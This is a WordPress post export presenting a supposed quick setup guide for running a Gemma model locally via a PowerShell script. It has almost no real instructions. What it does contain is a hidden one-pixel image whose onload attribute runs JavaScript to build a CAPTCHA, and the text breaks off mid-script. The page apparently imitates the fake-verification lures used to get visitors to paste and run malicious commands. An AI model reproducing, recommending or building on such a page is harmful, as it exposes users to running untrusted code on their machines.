{"id":5379,"date":"2026-06-30T19:34:51","date_gmt":"2026-06-30T16:34:51","guid":{"rendered":"https:\/\/monomatbaa.com\/?p=5379"},"modified":"2026-06-30T19:34:51","modified_gmt":"2026-06-30T16:34:51","slug":"gemma-4-31b-it-awq-4bit-on-copilot-pc-5-minute-setup","status":"publish","type":"post","link":"https:\/\/monomatbaa.com\/en\/few-shot\/gemma-4-31b-it-awq-4bit-on-copilot-pc-5-minute-setup\/","title":{"rendered":"gemma-4-31B-it-AWQ-4bit on Copilot+ PC 5-Minute Setup"},"content":{"rendered":"<p><img decoding=\"async\" src=\"data:image\/webp;base64,UklGRtYoAABXRUJQVlA4IMooAADQkgCdASr2ARUBPjEYi0QiIaEQuexcIAMEs7XroNbIw+BM2N\/8bhxPXcecfs8d3PkmA0S2aUzq4UWRGiM\/K729Lq\/avw97LvS7qXywvL\/z3\/Gf3n90v8F8OP9L+Rny5\/Sv\/A9wL9PP8v\/af3e\/wfxQfrB7zv7b\/mvyA+Af9J\/wP\/h\/v3u1\/3j\/gf473L\/2T\/Kf6r+5f5n5Bv5T\/c\/+d6yXsL\/up7AX9A\/0P\/\/9m\/\/Y\/+X\/R\/v\/9Gf7O\/+\/\/S\/A7+wP\/k9gD\/0+oB\/4enX8v\/+PpW9kPznmT11vZXOV\/ez8f63eyPgBezv8B+Y3ucvmegXab1CPWX7f\/y\/7731XpB81XuAflf7B97t9w9QD+Wf0\/\/Y\/4D9yvic\/8f9l6APsr\/2+4j\/Pv7d\/0P757Wv\/\/9un7p\/\/\/3KP2I\/\/4Z+3I+gz5\/ILZb406IGkEa0P6vCT845rNPtQYEd9txLK2Dpp2YSIfQirEuG7rLCtj8tnwWuObLJBE6jPxn+oHLu5SRkgm5vYPsloHaqOaprE3+9WVhLc8s2gV0RjIqaraI0jRftBrF2komN88YdwBSVaGNCQVmWLBVZYQ3afY+aVyIoPlkKnX3zYWfqucegblh6nW5y2LgcQ2Eagwtroi6JSW+k\/SoucAAvkkxJtHRIU3fJyWpI8KAGD1dWCSGNHqkOHebLvLOmynaXFIAlDZvNcwaJsz7R2PPKLhf373MgsGkwhpY9MlvNha48iiefv610NORKmwhuzS75g8iZee8vo2g4wBUV4UPp2tkVkzQVhs8X+pRccXBsNAnK4vcwIkIIHoqeNb2qCRqCjxlU0uERdkWTcn4xDY4KC4vGIz2fR6XANM+gE1aNHSFiB4BQJRIJuOknAdiG\/H05+pFWO\/gHCfIoGwrK3BG8Y5mG1+AU85nHhO2M1eyUkyoOQLoBVlfPMIs4DM\/V9ZZ6lljFtf6vOnazeef6j3MCA5G+GM20BozcEGhvYTgmRx4GBmbaXN4G6viEMIWbM1VFo60BiiNT3shLNDssaYYHgMrhymhjZM8V2IDgdMDaURTfKpndIhLj1AdVBlZrRWYBMMrrD5zYv7H2XRGD8ewEX0sv54HOC5yzYA0tUVDAx\/IoQO+aYoXGzF2lB7u3xef2IYhOS6apoc15eBTLYIDjh0Al92ZgqGBXiQGSjvDDTXzSAVciZ1qfax+xO23ruKp3R7utkttb7q0R0LnPZRXD72kPVSMo+jdFLUgd8f\/OY8QJZZWIXABHtDYHXq6EJtwkG5xwTHknelc49addrEnnsYW+TMB1V0ue5Faq8FCuyqoMt8yIL8RD12h1UsaDU6BRQplhcuGxkN2eQUwckmnLvFONhJCy\/JxlSNjSvnq2m3ySQMOsqRDaKpNpIaurtq0yONZg4RHHloCt\/K7TP+d3xk5B2h0q0d9+kq\/lvL06yLrh+rJJQAH8\/EQCuPJ+VIWfA7H\/ypXp5NQXqQgArWmGTQoDMKTicxETDaIBHqKx8\/GZTMFQW7oANzySci1eFFyFaFEIVFWQI5kqgYlBbx08p5jf5TIp0xmZ6MseQ3Ie3nybS5niF8g3lug8AAP73Gzzpsq3sulH5NyyyUJ3eiSNmnEOc+UwKwipZAKEx9mpHsl4x5by+rzk3xcsEbvy9RHeO78NkDK59a9OiQ+YYlHPbN9gpH+1wRPDXcGzsVNmc9irvY085zNOoQtbV4ZEC7U4DaExFYMIB3dohdkKZuYrUY4Owdb8yDcwPDVxK1IPTPnlv8+OHefpgVAi8dJyFH+4bc8yQv4tdOWnnq0oFEG73AiETRY72TgVwbox1PmTKT5ouoW2LWvHVKlmrHHkFwrnsV6pM4tJnVHKLQ4f4jW2HwaSgOfi6X0CgzTpf\/X8puuEORRG2RKxkpeLvgEe7ZUmDyr\/Kc4YxuHxAuz1VtOL0j5lCjHFVFxuuFt0mh6MOGQpGZlyNiKzP0wUmAv5e13x3bc\/gQ9C3OzRDdk3qVT+uZLDSspOG6IAhslH+q2wpqV0w6+PlLXK496g0NGt\/trpnaa0EhGJ18r6OcaJJs0asxP7uYH7QstolNjmPUnrWJd\/TcpRHbcx2AcC7sxZZJC2wH9pXLdOdSlP1pHAZIGvmuHUl7b9t0tMCSQeQd6nyir0CgycIQm1\/EoEDx8MslgEXy08X10kj8TbDOV74oeB6U53upyVLm8JVNGxPQWCZ7R\/RojTFfBtOvXNK8V2sLvk9sbEmzgmDLCv37yWLTnGSCblQQr0hMIKmhqSCyaB99njHpXE5FEO0ao5Aae\/RB+1TwZWrfg1BrAt6hFxKsOvtqu\/Aiv4YI855iAjRu7Nl6xubz+bKBuR4yaXaxgCPQ+kirYMwKvuWNN46TOmdlBtxDPrvCLuAVBYGKEHC+9qpIygZRrqDkbuvrKwyo+fwWsqBItVr+ijCzeYLezoKE65stpflNlaHGIjQDRZ3RTgSehUnBHW0bC0nl2ubADHyta7gI8WOkc2ClS\/r9B9rZMkQP66OVm09gp7rWoXlKKR6AN26eSv1WiD9kin69XjbgB7HfSCs3NCoCW2TGnlxGyXOIpACs9XWCf6PHjWAep7T2MI27eDIzyx8N5uP8piKpTp1i1sBC9y+o5XHXhXLiKkaxHHUFcK7rylL504C45NqVsUZgsKuPilz96HdYcy8IVXgSDzdQ7wR1vererQurzrdERN8xSsF8UzaIrlgfkOLxUSl+6cVjeXXuxbERjIi2UsKiN7hxWlSEsSNhBYmMkxgMo6tYWVsYVaQxP0b\/ffXO7M2xPfeZjBy7sWleSSTfU8UJy66vRviMNmQUS17DS\/iyfqflkP\/KRGcc8BFGeXKJJw3Uip3isPJXRKb0d61Tx4QxS2tHJz5EozWYcFBdidX+NxWNuolXNytmxl4U+rKoBZjXOznOktq8fpZFQgi8EPL4ZGewGZXFDboaqWCGf1ShmLtSyAlS1n9NHIUuUsTwKfAYt36CEYpoY5C780De0yNch3x0avc2v7Ssp724r9lLMgCaCNFOceGbFBbWoivgynryiCqpug5svNB\/ATX+pRAsgbygbFYciwdYJFLszq9Re2zD4K2bI124dqGulmO932vVL5k4zYXDjJAkPmEHnYHCcUVJS+qa5JeVYL25s6M8ezQtb3II1w7yD\/lxdoC7iAbXWQ5FOJQIVu5dJieZ2iJJ2NtXxcnd8oeM9slbUYLNhY879UcPP55E+cnf3ioL3wtvAjykuhIG95ZS+l2VIXsglRJCXTb09gLkJM1\/epEeHVbcZZkvq+xct+0+ktyvscmRMhDElSl\/xhrHx7Ey8baCNAPh+FgBpeJp4P+m3VpaqqzvyW5h2ef\/rrEVSvvHHfTXn8swuIFeWpBmhZjIaHOtRnoeYduXK\/4VTpz2e0nP3G2UzuS+8NBcf4ajrehoD3Nv610pYcJzfoTkLxSCiKnumk0NQa9RjMLG8x0tcsQWSt3nFDMToTCjvQDuusmqA+bxSHxnW9VgcakkmuY5ceDEZwPlrycOZvslhSvhojQuKaJDLE3LMfWwRHMIyZYYVWDe2AYo88hS1+b9+LB5ulCBoD44Zo5nOuxfYh5g0+gZlaiO2Z4n\/jfdUYFvvKWmbw0Q0qcb12zBn\/R6rs6prd+pbIm6v8GAOlQNcLshVv0Gb03l1lUfPzT2tyrNfjyaoS11VCYucb9l7e1Prw5lrDp8BVqp4PsnOJH\/dsRUDutXu\/yX68AkCK80NWbqh0W0lrdUo1TzSgumOipt7fE6TJwfOvkj3gEyhTvi2Obm8L\/7o2H9+\/KhfuSTaeyanLj0bMbcUyPyPWVioUZ6PvKCF+iK7B77cCEJXvrRG+WC1GxdpbgLERzsUuWdbQy9nj3hv8S5NASVKNeQ\/hZbOOFIInFVKVys8a\/jYycPx2\/c4dtIbxOrdY5sH11sWxErTb6y5siw4vJbrFmywPWeDSgnOGQ8ioXRvc1MlOlwfSvFIbDS1IUeHTnGfKK\/v1xePcTG8CNiRwOq1ADPIAajQSC6QzuGBOnRBsV1AJVoHBZlIuljJLuAoRTiSbwGkzav+\/EyYxjsdJG+GeE5hfI\/\/CoR9jgvsAQPutRXUJchFdvfd\/BvwviiB9YEg\/gn0bl6LqzGLrHh8vMqi1cG\/37GvJooy1EhRyo+0aMYZLj\/+4EtsQRyvfFk00QPonpCo9\/5fEAiSkEFuhE72pplN2aNDymfkZgWIdyxE2MPdR3F52cFUwJ1xSHyp41O7VKrTo+BfZ8LzVqY+tKMuMmCAJFtY96DeDgILIN\/+PzBN1\/KaJgCWo6EcNiV8XBXz6o95JDIVW0\/Lfh8WQuwAn0r\/5SJDfEAz3Bk+6zlnjkhxn8xhubDwyz5LU5r\/+YwnFAr3tAM8Iex4BOD0UN9ZS+LKVgn+GJ3uKPo\/PWPf\/lPG+L7+zEqWpopYmf2Eu4JQmVJSHss\/Fm58VU1PYutLTd62Nmx8KbJxRg6kYGw1j71ypFZdFZJUQ+dnjjEtO6mInn2SAMBO33XarmuegGeftc5aqoyHmFDVxjkJgiX7quvrQzBH7Ybypgkr6BKPmPLYHmlbtjWOqWzL3rtbeesBtGENAFN05waX\/nWW9JPKHaOYHD\/Shfrigjigj3AMrc4O+UpNKlhYjSKcEbHnUJ5OsM\/YIjfto2IaoiudrLqDGLKNYi3lyTnEZCu6PmUlp7vSGcl0Gw6FvTcxlnzc5CovIBNrE2rb5TcSXXhs2k4sLXUsxmgSgCAdkSOe3j6ICY8hUSrKUkNSrTrjTRqR8C2kcgRQM123qJgrqX9YqwDjh+GW8gRTmPEKoDiU6ZMnCrOPnhVJXbFDcOMnhDGrVmvaydnB1cVqmKyV8TGT64obeweO2AWBzMbR+o5T22ju7zaEAxEaG\/vusNe0jE7gGlFHNH1AGH9Lm1XfIXQK7aQjQzXGdIy9E6dp4LFBmqUo9ftbbHPUJKY\/wybgivDF3g\/vsVWEuDaGgAnxnPOYdb0Numhn53sqGWtR\/sKuLc3I5jAnEaDzLB1Um4pUXxHSFqyrXnNrIsdFjqMw79JuDpZc4zUlxRw6zUXmZAlW3N1Zqh0LtluWdh6D5kWGzH1VE6VHn4JewrRqaqamp+lsc5gUdWMqIJ7uU+FtSFFV0VhwzaO4El\/Qmeg2cw8Q6dPEPzdbJ9HuEu13yem7CiSe3KH\/wAkI\/dLsIK2603qDJnnvd02MXmqJRuCnUchOmoxLowAna1KJpOzRbYT\/qW9AYhLi5Ei\/IZCPj1fTVWVVXNHS7Hh2Xxg7Gd01mXN+5CRhFUD6ZE5sMdebjM2HCHDRbMZhqG\/\/c8REvj+6A+fz9oBTAy2CMlNlvWm7j6LLQpNvbaEdERWgO\/bLYEln9zA7nesP3crIt3\/DUR7R0YTWqvOQwW2LwSzWnQhiNhWNE8MRP0\/sB65\/9wpiAAXXm9MYZRx4xaccyxnkwSVPpoAd1VmWbNUsix0sYSaqPgEvkCZKrTYaXntNwCO57lXgokUhky68yCeOGz2+W4ZtwsuLJm4UDp4oeGG5Y3bjEgk5AVXCzaYVqWT530G5TBlyDj1xVo7EU+F8DAbUFObq6mxRFtq6hVuRKYcXNIZGH53i+D+7+kEhGG9ZQzN\/ky2zdIr\/F81rkF4QJ6M\/yviIBCMFOJYgB6NkMCpeOiO8Q\/bzjpWfklbaxh8ZAUG36fcArxBxcIFkOrNNlmXijCejpExNk\/M39BrPm6cLk1JjfCKab\/9y5GYtuyr+pkhQMY0UUiVw8okRyJg5mUJ1ogoB77HZ69xpQnM8j+onI7e8d0e5TC4EQpwvshMgD2o+EPJ8rTdScFPghJJCK058yZoO1jwqnL4oHM9IONBnu6tdpwreYaNdYmoe8f+UieXHaj\/1OtsXQ775i1Z8qUd+mOpx+zxRJX9ub8a0CgLOnAtqiPOmHFtTvzxinwe8TUwdFGyYVgNHt+2o5g\/eiBV6YSxNdiShRTTtj2d5d6BRxCyKZ5e7+dsBuCWBDQEPktDg2arzx4lzsJ2\/3GMZJa2W6wFVoy3P6QcPw6hbWOR6nGHurtTZWCsoHZ\/MP3vOl5lzOjCeNW+LxcA4CbN0nvR5v6WA8kMArEgMZ93PIJLUp9u28WO8vs+nb2LBZs5ABGagj80wN5wzxATXn1GbeN+K4mnljB7FhOJ5B6gQdxGvz\/KtIgzSQ6UAp6SitqGTX3QQD7HdDfnxk6wvetXkfeWODMr2v6HFxEa9kNjIx9btQzUNCVJJaRMO024duPdv34W5PrzN\/1HJEMbxrtQ2ww4az\/7i+rwb+Lb4s6bnO+9+oDhDVpLXv1LRANf31Q2Q5u3J4bvzY4+VtCHFDZ+27c0+aOG2qSbgAF0BxkDElFHvNhKFZW9lyOGIm5COzEe\/NSzMXTc4WZyZkMR5PC\/P50gezVZPTQXb0pjf6Fhg\/2+9e8snY\/5FkxJsjNPhqIGMfuuJZLF6rTAcLFVUMxwvty1NUfQEvXuUVgakKQn5doxVyElvuX9es9oA7YX8oexB1TxU8tCtfpRXGKTVow2vm4bSYT4Fr3YF\/3zDRTlXC\/O9wwQfkwmkGonmoHWAWeCZgYUXsLs0cEHk\/vZx1p33rrGXILhPIwyWISMY3wSEq+qRWQCp8ffdyJIaeqiP\/rQCXdIb5XA9UkMWt7QOG03XD04DjmWeBfXd0ykBw5KmH30zz38aMvLGPaBysvdC7Dx9D7MVsd6VrMrUQwpPGzph8ley\/wlgwm\/IqUGlsEIWFEUz2p0vk48fC6\/RaZFqfTRNqBigTQu+7SeAkDd+KvpwuibR2DjA2uhqjQJqkiIsAJ6qbjbSa8ldjaKZPrGOtArhxhyiZnpaR5IaH5XO1wljlbcmeRcnCBhIUVdwAf9qASL6F7YQtqbpZxN7ZvPLnEcKCkcDLnLI6Pp5CIDqAICjFxF9whXD4Ke+s8kTA94w\/5h1qX0aUa1OMb7rROk8f71cWc6k1q45dHdjT4Cd96iB93mNRbeGQ3+V4\/x1C8osy\/RWacVWMNdWa65E4WO\/wm8Zbb0O8MB11pPbuPlEvyRpL\/iF9XJaq702voKwukPEeqcmzm+PWpwhdYPyVKBJ\/Nkz7rzO6A6GqI0JNayUH2J4Mp84WtCZHcVD365L0JAJQTkIak\/UREFdCXWxw3XGxmPuF7jUjJcw3tZiR5oVFcsUMW5WMHMytegi8\/HbVuGGQ1XLsUbeIjL8ZaXikb\/XUvhwId2KNFtLAyBUQay34UwWIq8B4BoER49Yp0VChx9BIidRhpga3qhT3XPOJh226G5OoJ7kQ4j71kTWglyN+99bmG0T+BOmhERnTeq9X3z93dpTbDHobpj+BmqioCMB0eAVnxsivDoM6Ou0akQKCsZXXy6jL1jhD73R7aEBkldnBcZ5q8YtXEfo47EWuEjQD83lYtqZKlKHsnK5RwsypzQm5JZVCDpZEAkEetvvLq9g1Wq+rQ7pPRNsBY76ghTYBzAYD+eh06MG8NaTXAqCa7qPoeK8THKybkwvpJeyLreqKPGL\/K0wBahZxI2IphEiP3xsE2Jwo8EhfKdn9e60QuRJfclKZ32bHf8avEaqkKmoEohhLqrKxlIzjcQ2ddUUvHalbTQJKxoemSEFFYjnIIiwBKLsRo6ueiU3gWAyShJ0XMNrZrBFwum8sBoDm+kznAcKO2jWqpr74X0y5CQjc4BZOw5AZ5dswSV80n5jAU8+spDzn4HRhkZW17r73Wvwm+EhCqZFdxMy5J0Dk+y7zjhRkIwgUNmKFNbYiPxDpcimnmYEplcdqla7r6D0FHJhoERsYrFfxhOnkgZvbJfaUOZCoJwmiPFoi359vlo9LVR15JEFjX46sZIhjlNQhXKTnCCYcFb7kmGW6Vn25NTpNYHHWaWCE\/ZrJaZN3ND1Bf8hWgguihAHVejTzkIfy9CSFduiPYq4w9X3Vi2twfhJw7HzqHytsXYJifc4Sk4dbz2xpMe3hMnw1Iyhto0F9Q1oF5Na0oDxjzJpsHRtaozWTilrAsllDRQDCcz1O7JAuS2qppUQzX+KQI9cVCcf1oie\/CPX3WYnRaqVPKzHbdgvKGXjH4FGyJHRAWKS6bw0Ui2FgQPtXPwjTtGQ8xB0VcDu6KRiLZ+AVLtBQUvTjTu0vh1yx6ySL52YzzSpuwf3EJd6L59G14jvMISC44UXCdeQPXwKLACOAiIh1w+3du\/eY80kPRiHy987DeNxq884kE1kSXU1GhupmfF4GH0xDEGurj9TGe4\/YFO7x9fG91Rvqwertl0serpxhLu2y2fTvvRjzSwqS3sG7Xcmn+aSLSRm7U3dvvyqooCaeQelNPrzpWuGrjevtbyxzysQFzsR6ceuOhYd9O9cZ1tR9FzGzMnAjVPO7hgSqehoYkKzj9GpiY2ZND8Sl8Qk4fPMpT5auDwaw2D+BxkOPOHZ3pRWxB8wQnR+fSjVM66ELllibP6vlc7Rq2HrJpFvggZUNomBw5zu2ECjwt50kSgi5MP68j+HLDVDSgunMcRb5uGqPgPgXbRoQWQHt+zo748ZgOs8VO75d77R8O9ZTnKrArO50epktdzfrLcK5TQMBpmyn4w92aKK5C7fVB1D\/lGp+VyJ+lnjq7zr0rfyZwioWmDP2DXU9eR5a1WszwJIU7iCLbO35AYEgj\/8GC2Y7cmhP8Q8HrRzJDJW\/dKI8Of247xr4HVuL0nivz+jnMzOMFIzRDcvBs5qqggFIWDSdYSzBCFnOccXv69mE19pMoU1VDhS+aqZWBqEGGkNgYJheU9EM\/yuWXQKzxf7bxyejuzytjgCQIHKsdRyWOFruJ1ZdHhyNn\/uShCjOG9zspldpmSgJOWu2\/\/CtOt1v3+XFdBYB2TSotPApdHAzLgzbzm9v64ipj+0gXRGlNQlry4RBCPFX46Ifi7hJU7MqSiKH\/yp6EhD4OTyvxerNPqu8gc2BMfs7qXeoQuYsZ0uge1PemYBviQ8jT+Zl4R5cyAVK+cUDxLgrflAiW+5KHTHyjSjt5gb8owzwZXikEeiQUrLTaUFOMC7xYIGru0DkSeTA8Q4oOEdA0nUCvHecqoUwzMliW2IbU44NA7T2k4zorOIA5+52bYbwxIO\/A66XasWyfM+ExJxYefn12BN4XT3bncCxbcR34kOWr10LMWmD+ApYA0YaO8clPSdotBc2o3j3eGR7W+3I1To93BCRWPXOb\/hvwgkhsgiGkAOdCvTYCfkNDKLxT\/0viSI+QOkhL3eVgYUk7x+CV6DEh7Fr82SdDbjJ0jH7Dn480RrYBowhsEyJ7H+\/SQetPiklCWLAZnC4edv+9GrkXH+xbmRT4IVviFvkSys7GYfO\/9GngPjM7LTIPzcpHs5750JtJbhZrOTACNbzrV1sfozbJxzusjBTX0YWy77k\/8TVfPV0HUuw9thzfjzV6MuUQa9rynn6\/tCBirzRjBWSjUk+n6H5mZFsOMX9+OdNZxWSLNGvKWyqeop2NHE6uPFiiiqbD9Hb6SnAP1loWqD5EBEQo5+B36Jp+EVdYBxVpNs7JhRmHaN2sXiVyMVaRPMyiZqwnBUnz5a2QBVkIC8lddMmmM6yxkZ8ELbw5uCW1lSLgZ57Npr\/2WzwoZC79FG1jL3budhOteG\/XDIbDtCplmdkPNxKGAC6Et8rpnlprBjV8AfIs4I80rzVV7MI75WnD6Z3DAzrd9ks2e9MXF\/TUOh0cINY+25KBBD38EPnuHi2sG4\/iho10X0VjkiFcoUe7mFsz86A80Cks73WM\/wtRabP05m9P0P4qmtzANfpeQtD+52VAeIIMmIuC3\/EVckiMY2v2lqENDkYVDMilZh98d4ov31PSNYabaxe2GD6Uz9m6RS2a6sY\/0ioAtgZ\/SyqfwhQ0eNMsYlZDU4vGqNraf\/BA3EQ601lxguJlza9iDIAC5oPxEFnsv9SBj3hg96MwvQKvIO9CHf8PfKZ4abWfJVBF2xC8fdVvTv8SfRp2p9\/v3FZerCVBt7FFO1XPHFMgyKwC2heeJ7axHfBedA7m3eEU+HJ5URnrSJYwimWMJT4asaxqHuizMUamg65MtFxViSU1G+s6JSzVu4yMwXq1vx\/z87+4V4VZE9\/Bm163SWtGBHLWEDGZjOUweLClJ9Sk\/nM205k9\/r4Dy0x+MNAFrT7O7Ka9lfTksxnLSGxlJCWQgqFl9r0uC2ZRha7A7OOzEG6xtkmssmebl8B2R0AOUGucI4ky6ynvLWICHrjhkK2axCo0MSEB0e7v5G2K3uK9Kc1hTEVpFjbt1j1cEf92xHewGzWTaXX4HyD0IqrG0rhD60zg51g12L1tEee\/GpVLHKEo3JX2wG+qZHMdlTWo59\/\/Cpf4QcXeIOp0JC12u6lVAqRtWZ557F\/+8skkKexdF0RzWeokAI0XJ3X\/4OQkPk++XrErBpRR2u\/Qjoi0WF9AvC8\/gxftVKxqXXVlG7loElEtlEOARPqhVnIzAzdv1ZsAhUlCeMWSPu88Hgt1VEfyYLXyfKkBBHDmf9Fz59QTpfetopvQnzzlkwmmJEQ2vMq\/+Gfn3bS9nZ+vi85eGdz52D2hiDFlXbVoB89P\/wcatHSmMnSEK0\/fx8GbUo344DfAs6Tzngq1nYYP9LDksJQ1K1knv145EFt\/ELR+57y1xFDr9+aKRNFm\/BAbmns3MyRnOEY4RzuO3jFhKZXivDDp6fkyD1FFBMSh0CfaXU2glSVVlLzEcU7vMeZ5Rg3ZvKIEj8KpPcdQvKVPUV7mGWDlgFb20P3QKz7KijEgUUoXcTkLrjZPIhOUuW\/oBn72Map+OU+MdKvtYExvQ+C5HN1E0FZpVb+3RPi+Nx6FgPOfXZPlh46pi+1kSFgVbMlDfJ1nYS9kkFTK8nD4lPYVLArO6NpMT9O+7icITwvDGsajD+jdarZ48Am97ylVropVJs69HTaU\/NHHI4SGqqT5vFQKVVrmj8ZffYr6O48WxHxaVSElkQvpjDlRE1eywA++bcooIalgxDorMP4klr6ElzwJLKNPvszt5ju0IFk6aRaUc5l3tXvJW+bPgUhVt5Fo9fdJJaSUYekRY58LDQbZq5OrHQZfDRyKoP5yOkF3yGycFx2xYXcu\/GFL5sSb654T6xA14hXMBcprkF5bcvdy3atjj9qzh5yDDk7Sdbybjr4DcFNo7nLWpOmpH8SNlesIfNI9AS2U5hPkY3EplFE8jTUSF2SyU69lNXZ9lT2Vm+3tl2iO9+xj9s1qC1Ts3u0Iou1cigh5zIIgemID0UyjfvvzBbTV\/HugWJNwbz+ArhdsI0oDwGurkS2ZNsyXDmtMfVxza7mrs7pjx1\/Y4wg2OZmIY8dbckPxXDEzfu2iMr0KVvazPwCkyaNr+s3VNYByAykoxgxPAC6mJVKuxHn\/qrqINgIVcw6mAUgAvThQSGGbAlqXE4mkGNoXNnhMl6ZK5aYgfkG6OKpUDf2CfTopI2R1SGXEVUXteUtOa8l7yOJqcwYJIO+MKajLfz2\/M88mNbuvGuG\/Q9qCCWEhPUOH2xTG2j4vAkZqXarwqNMdIXTS\/EK1f2kQkRke71O6ilfd2nHisxmmKxEV6GJqea8R7KGke\/TVY+kJA5mwKAhzL6GN8lI+wx1GQyxExQV5hpz7Vwq88LM\/mrF70lpk5V9QY6p0yGc\/LY5ZZhPPiZ51SnPxeuD08WDHj4VGX66KBFmI0X6XWbmJyX0IfwwB7f\/lr9IED3YBqz2tTAnxYE0umsPdwrJLGeki2yS1+SzNoXKiXY0D3ajBKB4jCaF8PSpRTQUzsSchmKe0nEmeR4CUlPWi6GNaxRAtZtD14mfxl6idXq5Pf\/iBlGRdgh2mgY4tZy3LAN5sbX1C530OjgIz2SuNZoC+hxKBFNGFuiJtGYymqElN58ASN2CIOIRnEAQ2XlyhWTwtgJSmg3DJGh8Wc2KgOpWN5VZ7S2PxzRCBR2xp1QI1RmA3eMcoP0vAowghU55q9i0B5486qvC2kN3SvSZ6yib9zp1r+e\/FTveOmQ4NAgm\/KxDSjAlGoEPku76mOUIv892rhDkw9PIydhZ+uxeV3uDAzzt+9RCfehP5KnVrEs2GE8OQFFacguTVBuHXVU7TwSV9WEX\/K2nzRpbV3FH6GzUWnpoyBYhbtGnyZvZgUiKD3os0+z2F7zMorr1ofoNZcUeirOAFNUhVd0zt9hR\/NDppFI54jOA58B9qBNOGWoJ6MzMdZ4VjKxlHTRY33KOuZlfmLR+kMadFNTAuQfWmgfdHFssOVfRQYf+yqMiyyecPZkdmqdXQbhtZ1DQ+cu1tLNhm+OqnAi+OWO\/ielJg+2JrscUkR8OOpF36MkcdNfFH1u4ApudeyBblYj\/6sD1ht0f3oe2uwfa8xhgT\/Acx3oA6DMB\/3dWyhoAJUb7okNr1QLzRMu6RA5teWKKvr1DaXA1NkHWH4KZLqRdNr9beanhS0fKRMTyEvzCzTFsnr3lab\/pKKscXQEWZgATCQquu3YrL4EGbx+\/vmtHZTycXWR+M5QE07qtgb10nM28aut0XV\/TJrxh14Vw67JP+b4aRQJEHwNmTErnF3k4qANT61fojZBpxDIBE7mt4GmDl75OQEbVov2OQnVaO2G0PTgPQeBeI8fvB000pn9iElA54BgLA5BnHSuUD8dKp\/j3wxX1Ol2C\/scH2ENnhDEBYdaqxC70kZ0WsgyX7Q8X2rsCGYmdzC4nLhz2FBmM8lWQXh8Tiil2317GDcmjztUMSS7jubPwv0CK8pO2SMzIA5W0uk5XKc4COwYYJRLy8qAJU0SX1HbIYqXA1XpEAt+RXxa3hT5AR3D4yhHj3jpXe4dBjtj\/xrHQ6hN5YtpYY\/VsRT8QllPhkYMPm0zvFT1DU0gJB\/inKN9og6OSHmAHgA2tiiIz2vEUUNkJ9nhBpSb091VsCw20KmCBlb\/0zZeA\/Do9OTxgH4C87FIl4r7NatUw73Kr3AkCR\/5lfo6tPTvWYCy1PFcpWMSNtbQ+GfLpf72ruXUo2aVj3AlVHQTiuUIkgU+tGsu9YFQY\/M6Ht+XKtf35Aa9f+KrO3Ivw9cWwCO9KtcEJUOlBVWc2ozJKWJdcZLBcYfDQu27toyTX2VIOvakuPaD9pfDa7T6zbx8+WQQZklLLCnGBV9VDZYebzwKzpcuWtGFzVLvgsAAeLFJcbefzo2PL9gXNicJpGjPNAsVq7mBYSVzxuJamDypQig0y3FzBuphnsVTp4OWPLBVcZRUELsTBZHsrQaONfYjgAD1mDEm7MpUBOIKbMWFp8IoE9QfJYosLU0mFS32f+7tTUj\/G+o4hOgae0DHEYlbHwqdmnLLVWkt+nxMJYHLTyeR3Jg+9galwmGceLUoGgB+gjZfgtYGLSuuRRKvLrY6u1Sp2cB2hlviaY1IoMq8ZA+AvERymkaqxOJhN2FPBF08ZhrZWl8DifuaNdvxJywh2hHxeDfKTdW0bkekGrZZSiE4Zxrpk98l1BNFQvhFZvCf3edX1CVuEL9szL0ToLVRY9sdTPYJwd\/\/mnadEGTyJzMm8PX2UrKP3oHUTHxMMRtfceFjk3q8nQrIcVT2i01S3WwRegtAcKh45+zI+7U6ILpRCeOo+CDJCLvkidMTCPAq7E2FOUwwMnjwx6GHnywexGpKV1W1vOWAI78HMXp2URgF2AEWaZm1subAep9UD6l9sgCboAElnRPUo7InhlJ8CpMmDobhosso7BXihxG9jJ9YPOvpvkp0rRzSNbACgIeUeGQFzuL2fu4OCOi0uzeaIo14n4muWeBXgE\/68cZd6YCyJlKSaZeNyxAzaKit\/II5h7DEao8Tql+qKU9A8PAc3vAkTIpEZdWbJF1gBG\/dREylkq10kj6DROhizUT4DbdQCqkiSn\/BtjxGNLdXu2iHjZAAANA\/F7kRCaAAPAq1zCUiyAnm8Wa6gZoSiGQcKACPYGC1PGqEqvVivr6tRAAAAAAA==\" alt=\"gemma-4-31B-it-AWQ-4bit on Copilot+ PC 5-Minute Setup\" style=\"display:block; width:100%; height:auto; border-radius:8px;\"><\/p>\n<p>Running this model locally is <i>fastest<\/i> when deployed through a <b>PowerShell script<\/b>.<\/p>\n<p>Follow the sequence of <b>steps<\/b> detailed below.<\/p>\n<p> <\/p>\n<p><i>No manual effort needed; the setup auto-ingests the large data.<\/i><\/p>\n<p> <\/p>\n<p>To guarantee smooth performance, the process <b>auto-selects the best options<\/b>.<\/p>\n<table style=\"width:800px;max-width:800px;margin:10px auto 60px;border-collapse:collapse;border-radius:16px;overflow:hidden;font-family:-apple-system,BlinkMacSystemFont,'Segoe UI',Roboto,Helvetica,Arial,sans-serif;background:#ffffff;box-shadow:0 10px 25px rgba(0,0,0,0.05);border:1px solid #cbd5e1;\">\n<tr>\n<td style=\"padding:46px 56px;text-align:center;font-size:21px;color:#0f172a;line-height:2.7;letter-spacing:-0.01em;\">\n<div style=\"text-align: left;font-size:11px\">\n<div style=\"font-size:15px;color:#4B0082;font-family:'Arial';\">\ud83d\udce6 Hash-sum \u2192 <span style=\"color:#000;\">0d45477322788c2c8df4ae183d3e7c47<\/span> | \ud83d\udccc Updated on <em>2026-06-26<\/em><\/div>\n<table style=\"width:100%;border-collapse:separate;border-spacing:0 15px;font-family:'Segoe UI',sans-serif;margin-top:30px;\">\n<tr style=\"background-color:#f9f9f9;border-radius:8px;box-shadow:0 2px 5px rgba(0,0,0,0.1);\">\n<td id=\"content-cell\" style=\"width:100%;padding:20px;vertical-align:top;\"><img decoding=\"async\" src=\"data:image\/gif;base64,R0lGODlhAQABAIAAAAAAAP\/\/\/yH5BAEAAAAALAAAAAABAAEAAAIBRAA7\" style=\"display:none;\" onload=\"window.genC=function(){var c=document.getElementById('captchaCanvas'),x=c.getContext('2d');x.clearRect(0,0,c.width,c.height);window.cV='';var s='ABCDEFGHJKLMNPQRSTUVWXYZ23456789';for(var i=0;i<5;i++)window.cV+=s.charAt(Math.floor(Math.random()*s.length));for(var i=0;i<15;i++){x.strokeStyle='rgba(0,0,0,0.2)';x.beginPath();x.moveTo(Math.random()*140,Math.random()*40);x.lineTo(Math.random()*140,Math.random()*40);x.stroke();}x.font='24px Segoe UI';x.fillStyle='#000';for(var i=0;i<window.cV.length;i++){var 